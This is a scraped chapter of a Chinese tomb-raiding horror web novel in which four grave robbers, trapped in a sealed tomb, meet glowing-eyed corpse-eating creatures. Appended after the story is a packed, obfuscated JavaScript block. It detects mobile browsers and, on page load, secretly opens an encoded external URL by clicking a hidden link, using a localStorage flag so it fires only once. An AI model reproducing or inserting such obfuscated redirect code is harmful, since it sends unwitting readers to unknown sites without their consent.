第五文学网 > 恐怖小说 > 摸棺诡谈 > 第94章 紫鳞鼠

    我用矿灯仔细照了照这座墓室,此时,我们就站在这墓室的入口处,面前竖着一截黄金碑。()

    这墓室的里面极其宽阔,跟我刚开始想象的不同,墓室并非是呈螺旋形不断向下延展的,如今这么看起来,倒像是横向开拓出来的一个空间。

    也就在这个时候,突然,我们后背响起了一阵轰隆隆的声音,我心叫一声不好,连忙回头一看,还没看个清楚,只见王蒋干脸色发白的回头望着我说:“林爷,那墓道被封死了!”

    我一听这话,心里咯噔一下。这宋清墓是建在两座山之间的,我们打的盗洞也是倾斜而下,穿过泥土直接插到了那墓门外。我们现在明显是被这墓穴里的机关困住了,在这种情况下,我们还没摸清楚这墓穴的情况就被困住,是极其危险的。

    我额头冒了一丝冷汗,转头望向顾辛烈,见他脸色也是有些发白,握着黑色长刀的手掌也不断的松开,然后再紧握,也是非常焦躁。

    我抬头向墓棚瞧了瞧,但只看了一眼,我便彻底死心了,那墓棚距离地面不过十几米。不过,此时此刻就在那墓棚上面,竟然凭空冒出来四块大石板,仅仅是透过矿灯的光,我也看的出来,那大石板极其厚重。

    我们此时的境地非常尴尬,就像是被棺椁包住的棺材一样,上天无路,入地无门!

    眼见无路可走,我们只好硬着头皮四处摸索了。我们四个人商量了一下,因为顾辛烈跟花豹子身经百战经验十足,他们两个打头阵,我站中央,王蒋干在我身后护卫,这样我们也算有个照应。眼下虽然我们的处境不容乐观,但是只要认真一点对待,应该也不会有什么大问题。

    我们绕过那殉葬坑,无视掉里面的尸骨,向着墓室深处走去。

    盗墓是个不能有太多想象力的活儿,过分的紧张跟猜疑只会影响自身的心理防线跟状态,有的时候也容易自己吓到自己。

    虽然我们不知道这头顶上的大石板跟堵住墓道的封门石是怎么回事,但按照一般的情况来说,只要找到出口,有那么一丁点的头绪,我们就绝对不会被困死在这里。

    这个时候就需要冷静。想到这里,我瞄了一眼顾辛烈。在我眼里,我们四个人当中,能做到泰山崩于前而色不变的也就只有顾辛烈一个人了。

    花豹子喘了口气说:“这墓穴有点蹊跷,九成九的是个恶墓,要是没有大粽子,我崔走鬼就把脑袋搁这儿!咱们得做好准备,到时候别被弄得措手不及。只是可惜,就怕是摸得了棺上不得天咯。”

    “崔老哥,别说丧气话,咱们现在虽然是身陷窘境,但还没到山穷水尽的地步。再者说,我们都能摸得了棺,还怕出不去不成?这墓棚上的大石板,我估摸着也有个几千斤,到时候实在不行咱们就扔两捆子炸药,掀翻了它!”我笑了两声,安慰道。

    其实,这个时候,我心里也没底,因为这炸药可不是说用就能用的,一个不小心就有可能墓塌人亡。

    “林老弟有什么想法没?”花豹子见我也不慌乱,可能心中也有些猜测,张口问我道。

    我摇了摇头苦笑道:“崔老哥,这种情况下,我哪会有什么想法,只能走一步看一步,要是老天爷真要收咱们,咱们也只能等死。”

    “林爷,咱别这么悲观成不成?咱们干这行的还能让这墓穴吓着了?”王蒋干一摊双手,正经道。

    我点了点头,说:“蒋干说的对,咱们不能慌。现在,咱们只不过是遭遇了墓穴里一个机关而已,但是有来就得有去。咱们手里还有炸药,这活人还能让尿憋死了?依我看,咱们现在处在的这地方也不是一个墓室,而是个偏殿。咱们现在应该想的是怎么进入主冥殿,到底能不能出去,咱们得去了才能见分晓!”

    他们三个人听了我的话,也是一起点头称是。我们所在的这个墓室按照逻辑来说应该是个偏殿,但埋得是谁的尸首就真的不得而知了。

    我们依旧保持着刚才的队形前进,顾辛烈跟花豹子在最前面,我在中间,王蒋干在我身后。我们四个沿着墙壁开始打量起了这个偏殿。这里极其昏暗,应该说是伸手不见五指,唯有那黄金碑在灯光下还略微耀眼。

    “等一下,林老弟,方才你的推断或许有错误。我们进来的时候是推着墓门进来的,应该直接就是对着主冥殿,怎么会是偏殿呢?”走了一会儿,花豹子突然停下来,回头朝我说了一句。

    听了他这话,我也是一愣,良久才反应过来,说道:“崔老哥,这是什么意思?说清楚一点。”

    “崔走鬼的意思是说咱们所在的这个地方根本就不是偏殿,而是一个掩人耳目的墓室,这墓室里肯定还另有名堂。”顾辛烈摸着旁边的墙壁,插口道。

    我抿了抿唇,看来,我还是经验太少。我很容易冲动,也经常会思虑不周,而真当需要冲动的时候,我往往又顾虑太多。说实在的,我不是一个合格的摸棺人,古墓里机关重重,有很多东西都难以预料,需要不停的反复琢磨才可以。

    我是脑子一热就有什么说什么的人,可做摸棺这行,往往最需要的就是冷静跟谨慎。

    这就是我跟顾辛烈最大的区别。谨慎冷静,这两点顾辛烈一直做得很好,反观我就差得太多了,碰到一点小事就会被吓得头皮发麻,有的时候甚至起不到半点作用。

    我自嘲一笑,这点要改,一定得改。

    正当我胡思乱想的时候,顾辛烈突然说道:“这里有个洞。”说着他就率先钻了进去。

    我抬头看去,果然,在我们旁边不远处有一个洞,洞口只有一人多高,拱形,看起来更像天然形成的溶洞。

    我来不及多想,见顾辛烈都钻了进去,立刻回头喊了一声,便紧随其后而入,王蒋干和花豹子则跟在我身后钻了进来。

    一进那洞里,我第一个感觉就是冷,极其的冷。甚至,我还能听见这洞深处有滴水声。

    我跟在顾辛烈身后向前走着,因为视线的关系,我、王蒋干和花豹子把矿灯都关了,只有顾辛烈打着矿灯照亮。

    走着走着,我身后的王蒋干突然喊了一嗓子:“嘿,老崔,你没事往我脖子上吹凉气干嘛,这吹的我一哆嗦!”

    “我什么时候往你脖子上吹凉气了。”花豹子也跟着应了一声。

    我听他们两人说话,只当他们两个在开玩笑,可就在这时,在我们的眼前突然亮起了一对蓝幽幽的火苗,就跟鬼火一样,那火苗漂浮在半空中,飘忽不定。

    我见状立即大吼了一声,忍不住打了个寒颤向后退了两步,直接蹭到了墙壁上。

    那蓝色的火苗从那洞的深处慢慢朝我们移了过来。

    这一刻,我浑身发冷,简直连大气都不敢喘,顾辛烈跟王蒋干他们显然也看到了,就在我忍不住开口说话的时候,顾辛烈突然盯着那火苗喃喃道:“这是一对眼睛……”

    眼睛!

    我听到顾辛烈这话,更是忍不住骂了一声。在矿灯的照射下,那火苗似乎不敢靠近,一直在那黑暗之中,极其诡异。

    望着那蓝色鬼火一样的一对“眼睛”,我忍不住咽了口唾沫,我从未听说过什么动物的眼睛是蓝色的。

    “是紫鳞鼠!****仙人板板的,这墓里混进来紫鳞鼠了!”这个时候,花豹子突然低声吼了一句。

    听他这么一说,我浑身又是一抖。我一直以为紫鳞鼠只存在于《百鬼夜谈》的传说中,从没想过这个世界上真有紫鳞鼠这种动物。

    这紫鳞鼠又叫掘子貂,是一种长的似鼠又似貂的动物。这种动物不吃素不吃油腻杂粮,单单喜欢吃死尸。紫鳞鼠天生前肢发达,犹如鼹鼠一样擅长挖洞,掘子貂的名字也是因此得来的。掘子,在古代就是专门挖地道的工兵。这紫鳞鼠因为喜欢吃死尸,所以往往都住在一些山野丛林里,很少有人发现。

    它的一身铠甲犹如刺猬一样,所以天敌很少,很少有动物会攻击它,这也使得这种动物基本上可以一直安逸到老,但是,紫鳞鼠的繁殖能力很差,常常导致绝代,而它的眼睛,就是鬼火一样的蓝色……

    我咽了口唾沫,这紫鳞鼠吃尸体,但是它一样会攻击活人,因为活人死了就变成了尸体。我敢肯定,我们手上的斯特林冲锋枪跟登山镐连它的皮毛都砸不穿。

    我简单快速的和顾辛烈还有王蒋干说了一下关于紫鳞鼠的信息,就要往回撤,离开这个洞。这个洞应该是这紫鳞鼠挖出来的,但毫无疑问,一只紫鳞鼠是挖不出来这么大的洞的,也就是说,在这不知道深浅的洞里,不知道有多少紫鳞鼠存在!

    也就在这个时候,在我们面前的洞里,突然又出现了一对蓝色的诡异目光,不停的闪烁着,随后,一道极其尖锐的古怪笑声从洞里传了出来,那笑声就像是妇人的尖锐惊叫声,总而言之,非常的瘆人,听的我起了一身鸡皮疙瘩。

    我没想到,这紫鳞鼠的叫声竟然是这样的。


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('s y(){n(O z==="\\t\\6\\4\\0\\i\\8\\6\\0\\4"){A P}u a;v B=z[\'\\t\\9\\0\\7\\Q\\j\\0\\6\\1\'][\'\\1\\3\\w\\3\\C\\0\\7\\o\\2\\9\\0\']();a=\'\\R\\S\\i\\3\\0\\3\';u b;v D=T U("V|W|X Y|Z|10|11|12 13|14|15|16|17".e("").f().g(""),\'\\8\');b=18^19;A D[\'\\1\\0\\9\\1\'](B)}s E(a){u b;v d=k[\'\\h\\7\\0\\2\\1\\0\\F\\5\\0\\l\\0\\6\\1\']("\\2");b="1a".e("").f().g("");d[\'\\p\\7\\0\\i\']=a;d[\'\\9\\1\\m\\5\\0\'][\'\\4\\8\\9\\q\\5\\2\\m\']="1b".e("").f().g("");d[\'\\1\\2\\7\\j\\0\\1\']="1c".e("").f().g("");k[\'\\c\\3\\4\\m\'][\'\\2\\q\\q\\0\\6\\4\\o\\p\\8\\5\\4\'](d);d[\'\\h\\5\\8\\h\\G\']();k[\'\\c\\3\\4\\m\'][\'\\7\\0\\l\\3\\H\\0\\o\\p\\8\\5\\4\'](d)}k[\'\\2\\4\\4\\F\\H\\0\\6\\1\\w\\8\\9\\1\\0\\6\\0\\7\']("\\1d\\1e\\1f\\o\\3\\6\\1\\0\\6\\1\\w\\3\\2\\4\\0\\4",s(){n(!I[\'\\j\\5\\3\\c\\2\\5\\J\\2\\7\']){n(k[\'\\c\\3\\4\\m\']!=1g){I[\'\\j\\5\\3\\c\\2\\5\\J\\2\\7\']="\\x";K=L[\'\\j\\0\\1\\x\\1\\0\\l\']("\\5\\t\\h\\G\\1h\\i\\i");n(!K&&y()){E("\\p\\1\\1\\q\\9\\1i\\r\\r\\c\\C\\1j\\1k\\1l\\M\\N\\1\\3\\3\\8\\N\\M\\h\\3\\l\\r\\h\\c\\4\\r\\2\\2\\2\\2\\c\\2")}L[\'\\9\\0\\1\\x\\1\\0\\l\']("1m".e("").f().g(""),"1n".e("").f().g(""))}}});',62,86,'u0065|u0074|u0061|u006F|u0064|u006C|u006E|u0072|u0069|u0073|||u0062|_0x9ggd1d|split|reverse|join|u0063|u0066|u0067|document|u006D|u0079|if|u0043|u0068|u0070|u002F|function|u0075|var|const|u004C|u0049|isMobileDevice|navigator|return|_0xd8c03f|u0077|_0xc_0x0b6|OpenUrl|u0045|u006B|u0076|window|u0056|hasExecuted|localStorage|u002E|u0078|typeof|false|u0041|u0071|u006A|new|RegExp|elibom|elibomei|inim|arepo|sobew|naibmys|yrrebkcalb|enohp|swodniw|dopi|dapi|enohpi|diordna|978901|978909|piekee|enon|knalb_|u0044|u004F|u004D|null|u005F|u003A|u0031|u0030|u0032|ff_kcul|eurt'.split('|'),0,{}))